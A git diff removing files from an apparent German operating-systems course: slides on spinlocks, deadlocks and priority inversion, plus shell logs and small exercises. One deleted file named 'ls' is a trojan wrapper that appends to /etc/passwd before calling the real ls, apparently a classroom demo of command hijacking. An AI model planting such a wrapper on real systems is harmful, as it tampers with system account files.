-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.7cm]{pathfinder.jpg}
-    \end{center}
-    \vspace*{-1cm}
-  }
-
-  \only<2->{%
-    \bigskip
-
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-      \smallskip
-      \item
-        \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-        Der Besitzer des Mutex bekommt sofort\\
-        die Priorität des höchstmöglichen Prozesses,\\
-        der evtl.\ den Mutex benötigen könnte.
-      \smallskip
-      \item
-        \newterm{Priority Aging}\\
-        Die Priorität wächst mit der Wartezeit.
-        \pause[3]
-        \begin{picture}(0,0)
-          \put(1.2,2.5){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-            \begin{minipage}{4cm}
-              nur möglich, wenn\\
-              Mutexe im Spiel sind
-            \end{minipage}}}
-        \end{picture}
-    \end{itemize}
-    \vspace*{-1cm}
-  }
-
-\end{frame}
-
-\fi
-
-\end{document}
diff --git a/20220314/foo/test-2.txt b/20220314/foo/test-2.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220314/foo/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220314/foo/test.txt b/20220314/foo/test.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220314/foo/test.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220314/hello b/20220314/hello
deleted file mode 100755
index c8409c9b97d63f1fbd62f0b99c557a3498ba60e5..0000000000000000000000000000000000000000
Binary files a/20220314/hello and /dev/null differ
diff --git a/20220314/hello-1.log b/20220314/hello-1.log
deleted file mode 100644
index bd74cea928b878aef35fae4df72f4065cf0a2c2d..0000000000000000000000000000000000000000
--- a/20220314/hello-1.log
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220314> cat hello.sh
-echo "Hello, world!"
-cassini/home/peter/bo/2022ss/bs/20220314> ./hello.sh
-bash: ./hello.sh: Keine Berechtigung
-cassini/home/peter/bo/2022ss/bs/20220314> ls -l hello.sh
--rw-r--r-- 1 peter peter 21 Mär 14 15:43 hello.sh
-cassini/home/peter/bo/2022ss/bs/20220314> chmod +x hello.sh
-cassini/home/peter/bo/2022ss/bs/20220314> ls -l hello.sh
--rwxr-xr-x 1 peter peter 21 Mär 14 15:43 hello.sh
-cassini/home/peter/bo/2022ss/bs/20220314> ./hello.sh
-Hello, world!
-cassini/home/peter/bo/2022ss/bs/20220314>
diff --git a/20220314/hello.c b/20220314/hello.c
deleted file mode 100644
index 3e8b1632efa5c19a889c00805497d0b07dea56ea..0000000000000000000000000000000000000000
--- a/20220314/hello.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
-Test
diff --git a/20220314/hello.sh b/20220314/hello.sh
deleted file mode 100755
index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000
--- a/20220314/hello.sh
+++ /dev/null
@@ -1 +0,0 @@
-echo "Hello, world!"
diff --git a/20220314/ls b/20220314/ls
deleted file mode 100755
index bcd0818450af6f9403c5644591c930be2d63242d..0000000000000000000000000000000000000000
--- a/20220314/ls
+++ /dev/null
@@ -1,2 +0,0 @@
-echo "Fiese Dinge" >> /etc/passwd
-/bin/ls "$@"
diff --git a/20220314/test-2.txt b/20220314/test-2.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220314/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220314/test.txt b/20220314/test.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220314/test.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220321/Operating_system_placement-de.pdf b/20220321/Operating_system_placement-de.pdf
deleted file mode 120000
index 0ac467095a599f2fdacc118bc84feb070a03d2d5..0000000000000000000000000000000000000000
--- a/20220321/Operating_system_placement-de.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/Operating_system_placement-de.pdf
\ No newline at end of file
diff --git a/20220321/hello b/20220321/hello
deleted file mode 100755
index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000
--- a/20220321/hello
+++ /dev/null
@@ -1 +0,0 @@
-echo "Hello, world!"
diff --git a/20220321/hello-1 b/20220321/hello-1
deleted file mode 100755
index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000
--- a/20220321/hello-1
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-
-echo "Hello, world!"
diff --git a/20220321/hello-1.bc b/20220321/hello-1.bc
deleted file mode 100755
index 70d547814271d384a1fb1c736303166d8b208a37..0000000000000000000000000000000000000000
--- a/20220321/hello-1.bc
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bc
-
-2 + 2
diff --git a/20220321/hello-2.bc b/20220321/hello-2.bc
deleted file mode 100755
index 824ea4ec82fb458e0f05cf8de828f5f41f142d49..0000000000000000000000000000000000000000
--- a/20220321/hello-2.bc
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/bc
-
-2 + 2
diff --git a/20220321/hello-3.bc b/20220321/hello-3.bc
deleted file mode 100755
index f1bff564d4c6419879aa4ab5546490249ca21bc5..0000000000000000000000000000000000000000
--- a/20220321/hello-3.bc
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/bc
-
-2 + 2
-quit
diff --git a/20220321/logo-hochschule-bochum-cvh-text.pdf b/20220321/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20220321/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20220321/logo-hochschule-bochum.pdf b/20220321/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20220321/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20220321/pgslides.sty b/20220321/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20220321/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20220321/test-1.txt b/20220321/test-1.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220321/test-1.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220321/test-2.txt b/20220321/test-2.txt
deleted file mode 120000
index e512c20fae491086c36ada7e2b276df83e32b1bd..0000000000000000000000000000000000000000
--- a/20220321/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-test-1.txt
\ No newline at end of file
diff --git a/20220321/test-3.txt b/20220321/test-3.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220321/test-3.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220321/test-4.txt b/20220321/test-4.txt
deleted file mode 100644
index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000
--- a/20220321/test-4.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test
diff --git a/20220328/Uebung.zip b/20220328/Uebung.zip
deleted file mode 100644
index a46637114292c36a77c600be31b59a5012d3afe4..0000000000000000000000000000000000000000
Binary files a/20220328/Uebung.zip and /dev/null differ
diff --git a/20220328/Uebung/AppRelease.h b/20220328/Uebung/AppRelease.h
deleted file mode 100644
index 8e34ceec8b7295b0a0b0318024561dfe39069a70..0000000000000000000000000000000000000000
--- a/20220328/Uebung/AppRelease.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#if defined (testconfig1)
-	#define FW_RELEASE	0x0123u	/* BCD format, 16 bit */
-
-#elif defined (testconfig2)
-	#define FW_RELEASE	0x4567u	/* BCD format, 16 bit */
-
diff --git a/20220328/Uebung/get_release.sh b/20220328/Uebung/get_release.sh
deleted file mode 100644
index 3eeec91b37c80adb7930499f205ff65ff7c63e4c..0000000000000000000000000000000000000000
--- a/20220328/Uebung/get_release.sh
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/bin/bash
-
-APP_RELEASE_PATH=AppRelease.h
-APP_CONFIGURATION=testconfig1
-
-# grep: -n:Zeilennummer, -w:vollständiges Wort, -i:ignoriere Gross/Kleinschreibung
-# cut: -d:Trennzeichen, -f1: auszugebende Felder
-
-LINE=$(grep -nwi $APP_RELEASE_PATH -e $APP_CONFIGURATION | cut -d":" -f1)
-LINE=$((LINE + 1))
-
-# sed: -n:quiet, regex: suche nach '0x' und gib den String ab dort zurück
-
-VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | sed -n 's/.*\(0x\)/\1/p')
-# Alternative:
-# VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | grep -o "0x[0-9a-f].*u)
-
-
-# Ueberspringe die ersten zwei Zeichen aus $VERSION und gebe die folgenden zwei Zeichen zurück.
-
-echo ${VERSION:2:2}.${VERSION:4:2}
-
diff --git a/20220328/Uebung/get_release.txt b/20220328/Uebung/get_release.txt
deleted file mode 100644
index 35bcbf01a7a4cd6e381ab54aed4ec35624f40e00..0000000000000000000000000000000000000000
--- a/20220328/Uebung/get_release.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> cat get_release.sh
-#!/bin/bash
-
-APP_RELEASE_PATH=AppRelease.h
-APP_CONFIGURATION=testconfig1
-
-# grep: -n:Zeilennummer, -w:vollständiges Wort, -i:ignoriere Gross/Kleinschreibung
-# cut: -d:Trennzeichen, -f1: auszugebende Felder
-
-LINE=$(grep -nwi $APP_RELEASE_PATH -e $APP_CONFIGURATION | cut -d":" -f1)
-LINE=$((LINE + 1))
-
-# sed: -n:quiet, regex: suche nach '0x' und gib den String ab dort zurück
-
-VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | sed -n 's/.*\(0x\)/\1/p')
-# Alternative:
-# VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | grep -o "0x[0-9a-f].*u)
-
-
-# Ueberspringe die ersten zwei Zeichen aus $VERSION und gebe die folgenden zwei Zeichen zurück.
-
-echo ${VERSION:2:2}.${VERSION:4:2}
-
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> chmod +x get_release.sh
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> ./get_release.sh
-01.23
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> cat AppRelease.h
-#if defined (testconfig1)
-	#define FW_RELEASE	0x0123u	/* BCD format, 16 bit */
-
-#elif defined (testconfig2)
-	#define FW_RELEASE	0x4567u	/* BCD format, 16 bit */
-
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo "        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */"
-        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */
-Sie haben neue Post in /var/mail/peter.
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo "        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */" | sed -n 's/.*\(0x\)/\1/p'
-0x0123u /* BCD format, 16 bit */
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo "        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */" | sed -n 's/.*0x/0x/p'
-0x0123u /* BCD format, 16 bit */
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo "        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */" | sed -n 's/^.*0x/0x/p'
-0x0123u /* BCD format, 16 bit */
-cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo "        #define FW_RELEASE      0x0123u /* BCD format, 16 bit */" | grep -o "0x[0-9a-f].*u"
-0x0123u
diff --git a/20220328/bs-20220328.txt b/20220328/bs-20220328.txt
deleted file mode 100644
index 4eca19b07977c77d38f02aba4b1522ad4cbb5007..0000000000000000000000000000000000000000
--- a/20220328/bs-20220328.txt
+++ /dev/null
@@ -1,23 +0,0 @@
